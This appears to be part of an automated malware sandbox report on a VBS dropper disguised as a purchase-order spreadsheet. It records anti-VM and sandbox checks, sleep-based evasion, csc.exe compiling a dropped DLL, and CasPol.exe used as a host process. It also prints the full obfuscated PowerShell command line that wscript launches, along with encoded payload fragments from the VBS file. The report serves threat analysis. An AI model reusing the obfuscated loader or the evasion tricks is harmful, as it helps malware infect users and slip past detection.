Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Potential evasive VBS script found (use of timer() function in loop)

Source: Initial file

Initial file: do while timer-temp<sec

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7744	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7892	Thread sleep count: 666 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7892	Thread sleep time: -333000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7744	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9078			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 666			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: ModuleInformation

Jump to behavior

Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: wscript.exe, 00000000.00000003.1687529078.0000016C0C123000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1684123875.0000016C0C120000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $gv2vrlqbBKC7P5QEMU7i3QMPR0oRCnNDQXznfekopperneX?
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 0000000B.00000002.6724207212.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: PO-09784893 xlsx.vbs	Binary or memory string: Vi5 = Vi5 & "PfHgv1gZ0V47ceC/XXOMbhGfSDCj6sDBrf5"
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 0000000B.00000002.6724207212.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000B.00000002.6719479887.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1683925145.0000016C0C1E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #PfHgv1gZ0V47ceC/XXOMbhGfSDCj6sDBrf51i
Source: PO-09784893 xlsx.vbs	Binary or memory string: Vi5 = Vi5 & "gv2vrlqbBKC7P5QEMU7i3QMPR0oRCnNDQXzn"
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000005.00000002.2689267836.000000000AA19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 11_2_1FA8B5B8 LdrInitializeThunk,

11_2_1FA8B5B8

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$saudiarabiske = """koaeldmedpo-cetphysuplneph eg-frtfoycepspegrdteefafsairenspipltseiufoslnra je'drublsliiminingax ajsmoyteszatinenemug;spulesunisonungmu trspoyelsinthaekomtr.svrkiuhenhategisimkaesh.moicanpitoxeterstofeptesareefrskvfoishcgaebesfo;fopkoubabselstihoclv masafttrarutseibecad mecvelsaaxysausbr ostsehliwbuakorhutabnbeebesbusun1ce sa{tr[madanlomlspivemarpsuoseruttfr(st`"""peaundoovedastpunifo3nd2la.cudgelrulci`"""cl)bl]brpasuvibbolisiudcwa unsbetsuaimtafifucbi haeslxtotboetjrsunkt reivinsottu spgreeaftudsovelarudvcoivactieskkstesaycininawempreta(noinongrtco omnanotaymoicaspllma,griapnintal alssellagsptsm6pe9fo,biiurnbetpi kraisffifliainlpo,maibenmottr asbteagaglaany)ma;sc[sodchldelngigommiptiovarkutpa(sa`"""skgwhdboise3vi2pe`"""sn)ka]bepkrurabkllibifecsl fosbetadaartgrihvcem drehaxsatseeasrbrnda aaiafnlotov begnaesothjcamlrgibupsarmagconre(skibanrathe komekutalla,stiauncetet trgmagpyeunganufi)wo;ub[ubdcalexlstiromcipreocardyttr(se`"""cakdiesarsenplemalbi3tr2si`"""tr)be]jopbruyabsolauilacdi disljtskaemttuiovcbe aterexsttdreatrfonwe fliunnpattapsttverar saepinlsumemunshayabsdotasetumspldroadcvoasllstedksbawsa(rausviopnaltko mevpe1du,moiunnheter plvsn2ta)du;he[cadfolgylraiecmarpanobrrqutfe(li`"""sykbaeskravnkaemilsk3mo2de`"""di)fa]prpcoubebanlafihycun alshjthyadrtmiiuncpi ceestxkytkaealrkonac ariblncatse hugsilpsosebefapllemdmaesalheesatbreprasmtguofimun(puiaenfotdr teptrrtlede1to5sa1co)sk;ha[badevleultridemhopsaofarnottr(ca`"""akgpidplifi3sc2re`"""aa)da]sapekuapbtalreihacpr nosoptsrasktstisqcak eneaaxsptfoetardensp arisenovtbe flsfotenrunoaeksheboablntadpafgeisolanlblposaavtunhpr(diiddnartkl acekrtluhwiyunlhj8bl7du)bi;qu[nodkrlunlekiapmempsyoinrgltcy(sa`"""seumospeeafrpa3bl2in`"""ko)un]jrpdiurebsklnoisncsc spsfutstasetfaiklcme ueedexudtcoeunrjanst ininonfltrh grcinlskoinsbiepycdalsuimopetbenotaatarbedpa(ku)un;yn[chdagllrloticamcopsaoghrmatba(sp`"""pawtriarnresgapdeoanosplti.brdexrobvsp`"""un)dr]oppheuinbunlceicocst unssetceafotdiistcme stepaxwatlaebrrrenov paistncotru plsencluhteenodtrutaldaedrjmaoprbtr(beitynoltkl knufanafokovcoestrel2br2kl6re,ininonretko piamikwetstiwa)mu;dd[afdunlsllspivomrepnootrrchtol(cy`"""geaandprvegalipseifo3sp2re.rydovlajlre`"""do)st]typnaurabmelpoilocbu plsfitmiapatscipecta diestxbotdrehurmenal mlifanbltci trqmoufaeerraryvoshaekorkrvtsileckuefacudoafnprfliisughe(muifonpitho prrtheengofleseatrfi,liiinngrtfu opcenogasac0ti,baiminsttsh grddrispsdepreoovssu,coirintatin nonpearupunhleoer2ho7no)mo;un[indhalafluviafmcoppaospruntto(co`"""irwalisknmisovppeonooaalre.sldmorklvfo`"""st)se]copfoucrbbilopiskcsk kasovtblaantfriomcma unesuxenttrelyrdenbe veifonritca hadciouncgruremdremunwetsepfirslolippaevkrputiniteeensve(boiaanlitwo wifuvotarbesat,foivennitsa grlsuanonusgsorbeesi,foiyunmitou stsobkrerheisevtv,frigantetto buhghekamex,waialnantan messearhmerbduagrftu,seislnuntex morreesitspiau)fr;dr[whdamlrelku
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$saudiarabiske = """koaeldmedpo-cetphysuplneph eg-frtfoycepspegrdteefafsairenspipltseiufoslnra je'drublsliiminingax ajsmoyteszatinenemug;spulesunisonungmu trspoyelsinthaekomtr.svrkiuhenhategisimkaesh.moicanpitoxeterstofeptesareefrskvfoishcgaebesfo;fopkoubabselstihoclv masafttrarutseibecad mecvelsaaxysausbr ostsehliwbuakorhutabnbeebesbusun1ce sa{tr[madanlomlspivemarpsuoseruttfr(st`"""peaundoovedastpunifo3nd2la.cudgelrulci`"""cl)bl]brpasuvibbolisiudcwa unsbetsuaimtafifucbi haeslxtotboetjrsunkt reivinsottu spgreeaftudsovelarudvcoivactieskkstesaycininawempreta(noinongrtco omnanotaymoicaspllma,griapnintal alssellagsptsm6pe9fo,biiurnbetpi kraisffifliainlpo,maibenmottr asbteagaglaany)ma;sc[sodchldelngigommiptiovarkutpa(sa`"""skgwhdboise3vi2pe`"""sn)ka]bepkrurabkllibifecsl fosbetadaartgrihvcem drehaxsatseeasrbrnda aaiafnlotov begnaesothjcamlrgibupsarmagconre(skibanrathe komekutalla,stiauncetet trgmagpyeunganufi)wo;ub[ubdcalexlstiromcipreocardyttr(se`"""cakdiesarsenplemalbi3tr2si`"""tr)be]jopbruyabsolauilacdi disljtskaemttuiovcbe aterexsttdreatrfonwe fliunnpattapsttverar saepinlsumemunshayabsdotasetumspldroadcvoasllstedksbawsa(rausviopnaltko mevpe1du,moiunnheter plvsn2ta)du;he[cadfolgylraiecmarpanobrrqutfe(li`"""sykbaeskravnkaemilsk3mo2de`"""di)fa]prpcoubebanlafihycun alshjthyadrtmiiuncpi ceestxkytkaealrkonac ariblncatse hugsilpsosebefapllemdmaesalheesatbreprasmtguofimun(puiaenfotdr teptrrtlede1to5sa1co)sk;ha[badevleultridemhopsaofarnottr(ca`"""akgpidplifi3sc2re`"""aa)da]sapekuapbtalreihacpr nosoptsrasktstisqcak eneaaxsptfoetardensp arisenovtbe flsfotenrunoaeksheboablntadpafgeisolanlblposaavtunhpr(diiddnartkl acekrtluhwiyunlhj8bl7du)bi;qu[nodkrlunlekiapmempsyoinrgltcy(sa`"""seumospeeafrpa3bl2in`"""ko)un]jrpdiurebsklnoisncsc spsfutstasetfaiklcme ueedexudtcoeunrjanst ininonfltrh grcinlskoinsbiepycdalsuimopetbenotaatarbedpa(ku)un;yn[chdagllrloticamcopsaoghrmatba(sp`"""pawtriarnresgapdeoanosplti.brdexrobvsp`"""un)dr]oppheuinbunlceicocst unssetceafotdiistcme stepaxwatlaebrrrenov paistncotru plsencluhteenodtrutaldaedrjmaoprbtr(beitynoltkl knufanafokovcoestrel2br2kl6re,ininonretko piamikwetstiwa)mu;dd[afdunlsllspivomrepnootrrchtol(cy`"""geaandprvegalipseifo3sp2re.rydovlajlre`"""do)st]typnaurabmelpoilocbu plsfitmiapatscipecta diestxbotdrehurmenal mlifanbltci trqmoufaeerraryvoshaekorkrvtsileckuefacudoafnprfliisughe(muifonpitho prrtheengofleseatrfi,liiinngrtfu opcenogasac0ti,baiminsttsh grddrispsdepreoovssu,coirintatin nonpearupunhleoer2ho7no)mo;un[indhalafluviafmcoppaospruntto(co`"""irwalisknmisovppeonooaalre.sldmorklvfo`"""st)se]copfoucrbbilopiskcsk kasovtblaantfriomcma unesuxenttrelyrdenbe veifonritca hadciouncgruremdremunwetsepfirslolippaevkrputiniteeensve(boiaanlitwo wifuvotarbesat,foivennitsa grlsuanonusgsorbeesi,foiyunmitou stsobkrerheisevtv,frigantetto buhghekamex,waialnantan messearhmerbduagrftu,seislnuntex morreesitspiau)fr;dr[whdamlrelku			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB964.tmp" "c:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
